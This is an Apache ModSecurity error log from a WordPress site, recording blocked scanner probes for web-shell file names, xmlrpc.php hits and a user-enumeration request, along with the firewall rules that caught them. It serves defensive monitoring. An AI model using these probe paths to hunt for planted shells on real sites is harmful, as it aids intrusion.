[Wed Apr 08 23:53:32.019875 2026] [:error] [pid 7047:tid 7061] [client 72.146.17.160:34545] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws73.php"] [unique_id "adZ5_ONh3oGO3pKiCzxaUAAAAYw"]
[Wed Apr 08 23:53:34.531345 2026] [:error] [pid 64066:tid 64071] [client 72.146.17.160:55002] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws73.php"] [unique_id "adZ5_lR3WucJgr2vZGatsgAAAUI"]
[Wed Apr 08 23:53:36.371366 2026] [:error] [pid 12453:tid 12468] [client 72.146.17.160:47049] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws73.php"] [unique_id "adZ6ABjtW7S6XsLPvrR0ZwAAAI0"]
[Wed Apr 08 23:53:38.024425 2026] [:error] [pid 7047:tid 7060] [client 72.146.17.160:42659] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws73.php"] [unique_id "adZ6AuNh3oGO3pKiCzxaZAAAAYs"]
[Wed Apr 08 23:53:38.929730 2026] [:error] [pid 12453:tid 12457] [client 72.146.17.160:44125] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "adZ6AhjtW7S6XsLPvrR0awAAAII"]
[Wed Apr 08 23:53:39.644553 2026] [:error] [pid 7189:tid 7206] [client 72.146.17.160:57158] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "adZ6AxaBqhBSu0L37loENgAAAc8"]
[Wed Apr 08 23:53:40.927187 2026] [:error] [pid 12490:tid 12494] [client 72.146.17.160:34555] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "adZ6BG1Fea4F4fbumr1UvAAAAMI"]
[Wed Apr 08 23:53:41.579313 2026] [:error] [pid 12490:tid 12497] [client 72.146.17.160:58516] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "adZ6BW1Fea4F4fbumr1UwAAAAMU"]
[Wed Apr 08 23:53:56.626971 2026] [:error] [pid 12490:tid 12501] [client 72.146.17.160:57463] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "adZ6FG1Fea4F4fbumr1U8gAAAMk"]
[Wed Apr 08 23:53:58.181538 2026] [:error] [pid 7189:tid 7208] [client 72.146.17.160:40697] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "adZ6FhaBqhBSu0L37loEUgAAAdE"]
[Wed Apr 08 23:54:00.577152 2026] [:error] [pid 64066:tid 64080] [client 72.146.17.160:47843] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "adZ6GFR3WucJgr2vZGat6AAAAUs"]
[Wed Apr 08 23:54:01.328559 2026] [:error] [pid 7047:tid 7052] [client 72.146.17.160:45840] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "adZ6GeNh3oGO3pKiCzxajwAAAYM"]
[Wed Apr 08 23:54:02.468988 2026] [:error] [pid 12453:tid 12471] [client 72.146.17.160:63482] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lwvwpmg.php"] [unique_id "adZ6GhjtW7S6XsLPvrR0kgAAAJA"]
[Wed Apr 08 23:54:03.610376 2026] [:error] [pid 64066:tid 64087] [client 72.146.17.160:47526] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lwvwpmg.php"] [unique_id "adZ6G1R3WucJgr2vZGat8gAAAVI"]
[Wed Apr 08 23:54:05.308543 2026] [:error] [pid 35642:tid 35662] [client 72.146.17.160:37767] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lwvwpmg.php"] [unique_id "adZ6HQ-CqryxdEs5DN96bAAAAFI"]
[Wed Apr 08 23:54:08.134002 2026] [:error] [pid 64066:tid 64089] [client 72.146.17.160:63431] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lwvwpmg.php"] [unique_id "adZ6IFR3WucJgr2vZGat_wAAAVQ"]
[Wed Apr 08 23:54:10.032990 2026] [:error] [pid 12490:tid 12501] [client 72.146.17.160:47551] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "adZ6Im1Fea4F4fbumr1VFgAAAMk"]
[Wed Apr 08 23:54:14.402954 2026] [:error] [pid 12386:tid 12432] [client 72.146.17.160:53332] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "adZ6JhLhhLtqHi2gK7U0XwAAARA"]
[Wed Apr 08 23:54:20.160893 2026] [:error] [pid 12453:tid 12476] [client 72.146.17.160:33411] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "adZ6LBjtW7S6XsLPvrR0vQAAAJU"]
[Wed Apr 08 23:54:21.293685 2026] [:error] [pid 64066:tid 64076] [client 72.146.17.160:33460] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "adZ6LVR3WucJgr2vZGauRAAAAUc"]
[Wed Apr 08 23:54:22.491100 2026] [:error] [pid 64066:tid 64088] [client 72.146.17.160:56817] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wb.php"] [unique_id "adZ6LlR3WucJgr2vZGauSwAAAVM"]
[Wed Apr 08 23:54:23.840911 2026] [:error] [pid 12386:tid 12417] [client 72.146.17.160:37795] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wb.php"] [unique_id "adZ6LxLhhLtqHi2gK7U0ZgAAAQE"]
[Wed Apr 08 23:54:24.528469 2026] [:error] [pid 12490:tid 12504] [client 72.146.17.160:47541] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wb.php"] [unique_id "adZ6MG1Fea4F4fbumr1VRAAAAMw"]
[Wed Apr 08 23:54:25.600660 2026] [:error] [pid 64066:tid 64080] [client 72.146.17.160:47826] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wb.php"] [unique_id "adZ6MVR3WucJgr2vZGauVQAAAUs"]
[Wed Apr 08 23:54:27.306925 2026] [:error] [pid 12490:tid 12510] [client 72.146.17.160:56772] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/vx.php"] [unique_id "adZ6M21Fea4F4fbumr1VSAAAANI"]
[Wed Apr 08 23:54:28.418410 2026] [:error] [pid 12490:tid 12511] [client 72.146.17.160:47489] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/vx.php"] [unique_id "adZ6NG1Fea4F4fbumr1VTwAAANM"]
[Wed Apr 08 23:54:29.029758 2026] [:error] [pid 12490:tid 12494] [client 72.146.17.160:64464] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/vx.php"] [unique_id "adZ6NW1Fea4F4fbumr1VUwAAAMI"]
[Wed Apr 08 23:54:29.704783 2026] [:error] [pid 12453:tid 12471] [client 72.146.17.160:56825] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/vx.php"] [unique_id "adZ6NRjtW7S6XsLPvrR01gAAAJA"]
[Thu Apr 09 00:02:19.251655 2026] [:error] [pid 12490:tid 12493] [client 45.92.1.25:64804] [client 45.92.1.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "adZ8C21Fea4F4fbumr1ZsgAAAME"]
[Thu Apr 09 00:02:20.019008 2026] [:error] [pid 12490:tid 12495] [client 45.92.1.25:52997] [client 45.92.1.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "adZ8DG1Fea4F4fbumr1ZtAAAAMM"]
[Thu Apr 09 00:02:20.693630 2026] [:error] [pid 12453:tid 12463] [client 45.92.1.25:54454] [client 45.92.1.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "adZ8DBjtW7S6XsLPvrR4LwAAAIg"]
[Thu Apr 09 00:02:23.593640 2026] [:error] [pid 12385:tid 12390] [client 45.92.1.25:54724] [client 45.92.1.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "adZ8DyAjtvRQEkLosq23SQAAAAE"]
[Thu Apr 09 01:41:41.201570 2026] [:error] [pid 40055:tid 40131] [client 43.166.244.251:53580] [client 43.166.244.251] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adaTVX_5SjAJycOw5k_GEgAAAIE"]
[Thu Apr 09 02:18:08.675082 2026] [:error] [pid 40460:tid 40481] [client 170.106.179.68:40364] [client 170.106.179.68] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adab4Iw-4-9CKD2kKMY-xgAAAFI"]
[Thu Apr 09 03:13:01.031624 2026] [autoindex:error] [pid 22056:tid 22081] [client 207.180.194.94:62595] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Apr 09 06:54:40.166307 2026] [:error] [pid 20535:tid 20554] [client 102.209.111.96:13221] [client 102.209.111.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.209.111.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adbcsAWiD9hWnEUHWdNE7AAAAAo"]
[Thu Apr 09 07:24:50.287228 2026] [:error] [pid 20537:tid 20617] [client 102.209.111.96:28754] [client 102.209.111.96] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adbjwsSTjpSeyrxLmN4yrQAAAJM"]
[Thu Apr 09 07:26:17.387191 2026] [:error] [pid 20641:tid 20658] [client 102.209.111.96:28628] [client 102.209.111.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.209.111.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adbkGW3LksBSF-6rlkaVHwAAAM0"]
[Thu Apr 09 08:13:45.070795 2026] [:error] [pid 20537:tid 20609] [client 43.130.15.147:57818] [client 43.130.15.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adbvOcSTjpSeyrxLmN5FngAAAIs"]
[Thu Apr 09 08:53:17.733011 2026] [:error] [pid 22627:tid 22649] [client 43.157.150.69:38104] [client 43.157.150.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adb4ffr8glsF_jKQpr6ebQAAARM"]
[Thu Apr 09 09:19:50.603702 2026] [:error] [pid 20535:tid 20556] [client 51.210.113.223:58086] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adb-tgWiD9hWnEUHWdO7pwAAAAw"]
[Thu Apr 09 09:20:53.918393 2026] [:error] [pid 22627:tid 22651] [client 34.175.117.206:35396] [client 34.175.117.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.175.117.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adb-9fr8glsF_jKQpr6yuAAAARU"]
[Thu Apr 09 09:25:28.134116 2026] [:error] [pid 22106:tid 22118] [client 85.209.9.49:34766] [client 85.209.9.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.209.9.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcACN_kBF6GipFPewKjagAAAUk"]
[Thu Apr 09 09:25:51.555785 2026] [:error] [pid 20537:tid 20617] [client 81.169.202.222:33312] [client 81.169.202.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.169.202.222, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcAH8STjpSeyrxLmN5f0AAAAJM"]
[Thu Apr 09 09:26:48.902420 2026] [:error] [pid 22106:tid 22121] [client 148.113.180.195:34360] [client 148.113.180.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.180.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcAWN_kBF6GipFPewKkjQAAAUw"]
[Thu Apr 09 09:32:03.662224 2026] [:error] [pid 20537:tid 20620] [client 81.169.202.222:54110] [client 81.169.202.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.169.202.222, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcBk8STjpSeyrxLmN5hRAAAAJY"]
[Thu Apr 09 09:33:40.995805 2026] [:error] [pid 30121:tid 30162] [client 159.203.177.184:54094] [client 159.203.177.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.177.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcB9FSRL6iQK86v6vgAlQAAAdU"]
[Thu Apr 09 09:36:16.084860 2026] [:error] [pid 32536:tid 32541] [client 148.251.46.181:41284] [client 148.251.46.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.46.181, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcCkJB5hdikwFWh9CvzGwAAAoA"]
[Thu Apr 09 09:37:22.172820 2026] [:error] [pid 32536:tid 32551] [client 5.9.109.189:44548] [client 5.9.109.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.109.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcC0pB5hdikwFWh9CvzeAAAAoo"]
[Thu Apr 09 09:41:49.930786 2026] [:error] [pid 34247:tid 34266] [client 143.110.148.150:49416] [client 143.110.148.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.110.148.150, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcD3U0Ha3ftFRVdCa-kEAAAA1E"]
[Thu Apr 09 09:42:02.155672 2026] [:error] [pid 35153:tid 35177] [client 201.23.19.75:45708] [client 201.23.19.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.23.19.75, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcD6v56fkW-jfcmu_wNqwAAA9U"]
[Thu Apr 09 09:43:09.124503 2026] [:error] [pid 34673:tid 34685] [client 148.251.46.181:48192] [client 148.251.46.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.46.181, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcELQanY953fZH_SA7SSAAAA4o"]
[Thu Apr 09 12:27:49.891308 2026] [:error] [pid 5704:tid 5733] [client 35.242.254.186:37336] [client 35.242.254.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.242.254.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcqxY1NhZyKEB1xn3WPOwAAANg"]
[Thu Apr 09 12:28:22.153623 2026] [:error] [pid 5704:tid 5727] [client 177.125.192.109:49858] [client 177.125.192.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.125.192.109, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcq5o1NhZyKEB1xn3WPWgAAANI"]
